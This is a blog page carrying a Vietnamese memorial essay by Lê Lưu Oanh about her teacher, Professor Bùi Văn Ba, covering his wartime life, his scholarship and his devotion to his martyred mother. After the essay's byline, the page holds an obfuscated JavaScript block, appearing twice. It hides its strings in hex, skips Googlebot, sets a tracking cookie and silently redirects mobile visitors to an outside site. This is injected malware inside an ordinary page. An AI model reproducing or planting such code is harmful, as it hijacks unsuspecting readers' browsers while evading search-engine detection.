Hương hoàng lan trên bàn thờ mẹ

Trong mảnh sân nhỏ trước nhà ông có trồng một cây hoàng lan. Chúng tôi, đám học trò của ông, dù đã bước vào tuổi năm mươi vẫn đùa: rẽ vào ngõ, bao giờ thấy một cây hoàng lan khẳng khiu nhất là tới nhà thầy.

Tôi đã thật sự xúc động khi xem bộ phim về nhà giáo nhân dân, giáo sư, tiến sĩ khoa học Bùi Văn Ba. Đặc biệt là đoạn ông trở về thăm quê, thắp hương trên mộ mẹ và anh trai. Ông đã có một tuổi thơ sống cảnh mẹ goá con côi tại một làng quê nghèo ở Quảng Ngãi, và dằng dặc hàng mấy mươi năm trời sống xa quê, làm việc trên đất Bắc. Đành rằng, ông có một gia đình hạnh phúc với người vợ, người gốc Hà Nội rất xinh đẹp, lịch lãm, tinh tế và những đứa con thông minh, sáng láng. Nhưng tôi vẫn thấy bùi ngùi, không phải chỉ cho mình ông, mà cho cả thế hệ những người con miền Nam sống trên đất Bắc, sau ngày hiệp định Giơnevơ, đằng đẵng xa quê suốt hàng hai mươi năm. Tôi cứ nhớ đến câu thơ của ông cậu tôi, người cùng trang lứa với giáo sư Bùi Văn Ba, cũng là học trò trường cấp 3 Lê Khiết, Quảng Ngãi, tập kết ra Bắc, viết đằng sau tấm ảnh mẹ, tức bà ngoại của tôi: Chiều nay gió lạnh lòng con, Hướng về xứ Quảng không nguôi lòng buồn. Chắc ông cũng có những tâm sự giống vậy qua những năm tháng sống xa quê hương dằng dặc như thế. Nhưng cậu tôi, sau ngày giải phóng đất nước còn được gặp lại mẹ. Còn ông, không thể có được niềm vui ấy, bởi người mẹ yêu quí của ông đã hy sinh từ những ngày chiến tranh chống Mỹ ác liệt ở Quảng Ngãi khi tuổi đời mới ngoài năm mươi. Cho tôi xin một lần được chia sẻ nỗi đau này với ông, bởi không chỉ là mẹ, mà ông còn có người anh trai cũng là liệt sĩ, những người ruột thịt duy nhất trên đời này của ông. Nhưng, lứa thanh niên miền Nam ngày ấy, trong đó có ông, dù luôn mang trong mình những nỗi đau mất mát và xa cách quê hương, đều đã ra sức học hành, phấn đấu không mệt mỏi và hầu hết đã trở thành những người con ưu tú của đất nước trên nhiều lĩnh vực.

Được là học trò của ông từ những ngày đại học, sau đại học, cho đến khi trở thành cán bộ tổ Lý luận văn học, khoa Ngữ văn, trường Đại học sư phạm Hà Nội, trong tôi, ông luôn là tấm gương lao động không mệt mỏi đáng kính trọng và là con người của những tình cảm luôn nồng nhiệt như thưở còn trai trẻ, đa tài lẫn đa tình…

Tôi đã học được ở ông rất nhiều. Trước hết, đó là tác phong trong công việc. Ba tôi, giáo sư Lê Trí Viễn, đã nhiều lần dặn tôi: Phải học tập ở chú Ba (tôi đã gọi ông như vậy từ lúc tôi mười tuổi, sống ở Quần Ngọc, Hưng Yên, nơi sơ tán của cán bộ khoa Văn Đại học sư phạm Hà Nội, thời kỳ chống Mỹ 1967-1969), ý chí, sự chăm chỉ và cách lập kế hoạch lâu dài cho con đường nghiên cứu của mình. Bởi nếu không có ý chí và sự chăm chỉ, thì dẫu anh có tài năng, trong khoa học cũng chỉ là con số không. Và cách làm việc có kế hoạch của ông là: các bài báo, công trình đều thoát thai từ các bài giảng, từ hệ đại học đến sau đại học, tiếp đó là tập hợp thành các chuyên luận, giáo trình. Để cả đời mình, không bỏ phí bất cứ điều gì mình đã làm, bởi nó luôn nằm trong hệ thống những vấn đề chuyên môn lớn mà mình quan tâm. Để làm được điều đó, quả là điều không hề dễ dàng chút nào. Cũng nhờ  ý chí và sự chăm chỉ đó mà các công trình, các bài báo của ông giờ đã lên đến con số hàng trăm và luôn được cập nhật thông tin mới mẻ.

Tôi còn học ở ông một thói quen nhỏ, mà đến giờ, tôi vẫn thích thú và thường kể với học sinh của mình: Mỗi lần đến trường có việc, là ghi các đầu việc mình phải làm vào một tờ giấy. Xong việc nào là gạch việc đó đi. Để thấy rằng, mình đã hoàn thành, tranh thủ được khá nhiều việc trong một buổi đến trường.

Vào đầu năm 2006, vì có việc, cần đọc lại toàn bộ tập Lý luận phê bình văn học của ông, cầm quyển sách trên tay, tôi thực sự hơi bị choáng. Để làm được những gì viết trong cuốn sách này, chưa nói đến những lao tâm khổ tứ, mà chỉ nói đến số lượng thời gian thực tế để viết ra nó, thì không biết ông đã phải tìm đến một khối lượng sách vở như thế nào, và phải mất bao nhiêu thời giờ? Có lẽ, ông không còn có thì giờ để làm những việc khác nữa chăng?

Nói về chuyện tình cảm, chuyện tình cảm với ông, tôi nghĩ, chắc luôn gắn với trách nhiệm. Nhưng đến bây giờ, khi đã ở tuổi “tri thiên mệnh”, tôi mới hiểu một điều, tình cảm gắn với trách nhiệm là những tình cảm đáng trân trọng nhất. Bởi gắn với trách nhiệm là những gánh vác nặng nề có thật, người ta phải làm những điều gì đó, mất thời gian, mất tiền bạc thực sự. Chứ còn những tình cảm chỉ thể hiện bằng lời nói thì dễ dàng hơn rất nhiều. ở ông, tình cảm đó thể hiện ở việc lãnh đạo tổ và mối quan tâm đến những bậc hậu sinh như chúng tôi, những đồng nghiệp ít tuổi hơn ông trong tổ. Suốt 30 năm ở trong tổ, hơn 20 năm dưới sự lãnh đạo của ông, tôi hiểu một điều: ở đây, mọi cố gắng của bất cứ ai cũng đều được cổ vũ; mọi bước tiến, đường đi của chính mình là tự do, phụ thuộc vào năng lực và ý chí của chính mình. Điều đó, không phải ở tập thể nào cũng có được. Tình cảm của ông đối với tổ có lẽ còn sâu xa hơn. Tôi biết, khi viết lịch sử khoa Ngữ văn, năm 2001, có những vị tổ trưởng chỉ viết có một trang viết giới thiệu tổ chuyên môn của mình, còn ông viết về tổ Lý luận văn học những hơn hai mươi trang. Chắc nặng lòng với những thăng trầm của khoa và tổ, ông mới viết được nhiều đến thế, mới bỏ ra nhiều thì giờ đến thế. Để khuyến khích sự phấn đấu của nghiên cứu sinh, ông đã dành một số tiền không nhỏ để thành lập một Giải thưởng cho nghiên cứu sinh hàng năm. Không phải ai cũng có thể bỏ ra một số tiền như thế chỉ hoàn toàn vì chuyện tình cảm. Chúng tôi biết, ông cũng chỉ kiếm tiền bằng việc viết sách báo khoa học chuyên ngành. Mà viết những thứ đó, có bao giờ được nhiều tiền!

Cũng có một thời tuổi trẻ như ai, trong những ngày chiến tranh chống Mỹ ác liệt ở miền Bắc, ông đã làm tất cả những việc khó khăn không tên tuổi của một khoa sơ tán với gần ngàn sinh viên. Dạy học, chủ nhiệm lớp, hướng dẫn ngoại khoá, phụ trách đời sống cho khoa, rồi hướng dẫn đào hầm, trực chiến, tham gia bắn máy bay… tất cả những việc đó ông đều làm với với một tinh thần trách nhiệm cao với bao công sức nhọc nhằn. Tôi vẫn còn nhớ những bè gỗ to khủng khiếp đối với lứa tuổi lên mười của chúng tôi ngày đó, mà ông đã chỉ đạo đưa từ trên rừng về những ngày ở Quần Ngọc, rồi những buổi liên hoan văn nghệ, tiếng cười sảng khoái khi đóng vai các cụ già bắn rơi máy bay của chính ông. Nhiệt tình đó ở tuổi trẻ, khi ở tuổi cao hơn, lại lắng đọng vào công việc chuyên tâm cả đời ông: nghiên cứu khoa học.

Trên bàn thờ mẹ ông trong phòng làm việc, tôi biết, ông thường đặt những bông hoa hoàng lan của cây hoàng lan nhà trồng ngoài sân. Hương hoa ấy có khi lặng lẽ thoang thoảng cả hàng tháng trời. Tôi nghĩ, mùi hương đó không chỉ toả ra từ tình cảm người con đối với mẹ, mà còn là biểu tượng của chính cuộc đời ông: vẻ đẹp âm thầm, lặng lẽ của một đời lao động trí tuệ không mệt mỏi và những tình cảm sâu xa.

Tôi không biết nhiều về cụ bà Võ Thị Lựu, nhưng tôi biết cụ là một liệt sĩ. Vậy thay lời các học trò của ông, xin kính thưa với cụ rằng: nhà giáo nhân dân, giáo sư, tiến sĩ khoa học Bùi Văn Ba đã luôn mang tên cụ trong bút danh khoa học của mình, bút danh Phương Lựu, ấy là cụ đã sống mãi với các công trình khoa học của giáo sư, một cách báo hiếu nghĩa tình, trọn vẹn và vẻ vang nhất.

Tháng 3-2006

Lê Lưu Oanh

Báo Văn nghệ tháng 10 – 2006var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

About leluuoanh

Giáo viên Đại học sư phạm Hà Nội - khoa Ngữ Văn - bộ môn Lý Luận văn học
Bài này đã được đăng trong Bài báo. Đánh dấu đường dẫn tĩnh.